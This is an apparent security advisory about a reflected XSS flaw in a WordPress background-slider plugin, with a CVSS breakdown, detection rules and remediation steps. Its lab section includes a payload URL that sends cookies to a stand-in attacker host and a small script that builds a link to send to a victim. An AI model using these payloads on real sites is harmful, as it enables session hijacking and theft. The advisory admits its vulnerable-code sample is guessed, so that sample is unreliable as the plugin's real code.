CVE-2025-47666

Executive Summary

CVE-2025-47666 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin "Image&Video FullScreen Background" by LambertGroup (slug: lbg_fullscreen_fullwidth_slider). The vulnerability exists in versions up to and including 1.6.7. An attacker can inject arbitrary JavaScript into a web page via a crafted URL, which executes in the victim's browser when they click the link. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation via third-party installations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Reflected XSS in a WordPress plugin with no patch available poses a significant risk to site visitors and administrators.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user input during web page generation. The plugin likely reflects user-supplied data (e.g., via query parameters) directly into the HTML output without proper sanitization or encoding. An attacker can craft a URL containing malicious JavaScript, such as:

https://example.com/?lbg_fullscreen_fullwidth_slider=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser context, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the user.

The vulnerable parameter is likely lbg_fullscreen_fullwidth_slider or similar, used by the plugin to load background images or videos. The plugin fails to escape or validate this input before rendering it in the page.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (example)
$param = $_GET['lbg_fullscreen_fullwidth_slider'];
echo "<div data-background='$param'>";

A patched version would use proper escaping:

// Patched code (example)
$param = esc_attr($_GET['lbg_fullscreen_fullwidth_slider']);
echo "<div data-background='$param'>";

The esc_attr() function in WordPress encodes special characters, preventing XSS. Without this, an attacker can break out of the attribute context and inject arbitrary HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with the vulnerable plugin (version 1.6.7) on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a URL with a malicious script:

   http://localhost/wordpress/?lbg_fullscreen_fullwidth_slider=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link to a victim via email or social engineering.
4. Execute: When the victim clicks the link, the script executes and exfiltrates cookies to the attacker's server.

Example exploit code (Python):

import requests

target = "http://localhost/wordpress/"
payload = "<script>alert('XSS')</script>"
url = f"{target}?lbg_fullscreen_fullwidth_slider={payload}"
print(f"Send this URL to victim: {url}")

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual query parameters containing <script> or onerror in web server logs.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block reflected XSS patterns.
3. User Training: Educate users not to click suspicious links.
4. Plugin Removal: Disable or remove the vulnerable plugin until a patch is available.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing lbg_fullscreen_fullwidth_slider= followed by <script> or onerror tags.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• Log Entries: HTTP 200 responses with injected JavaScript in the response body.
• File Hashes: Plugin files (e.g., lbg_fullscreen_fullwidth_slider.php) with MD5 hash UNKNOWN (no known malicious versions).

Detection Engineering

YARA Rule

rule CVE_2025_47666_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Image&Video FullScreen Background plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47666"
    strings:
        $param = "lbg_fullscreen_fullwidth_slider="
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/
    condition:
        $param and ($xss1 or $xss2)
}

Sigma Rule

title: Reflected XSS Attempt Against Image&Video FullScreen Background Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious query parameters targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "lbg_fullscreen_fullwidth_slider="
        c-uri|contains|any:
            - "<script"
            - "onerror"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47666 Reflected XSS Attempt"; flow:to_server; content:"lbg_fullscreen_fullwidth_slider="; http_uri; pcre:"/(<script|onerror|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or uninstall the "Image&Video FullScreen Background" plugin (version <= 1.6.7) until a patch is released.
2. Workaround: If the plugin is critical, implement a Web Application Firewall (WAF) rule to block requests containing lbg_fullscreen_fullwidth_slider= with suspicious characters.
3. Patch: Monitor the WordPress plugin repository for an update. Apply the patch as soon as it becomes available.
4. User Awareness: Educate users to avoid clicking untrusted links, especially those containing query parameters.
5. Code Review: If you are a developer, ensure all user inputs are properly escaped using WordPress functions like esc_attr(), esc_html(), or wp_kses().

Valters IT
Securing Digital Frontiers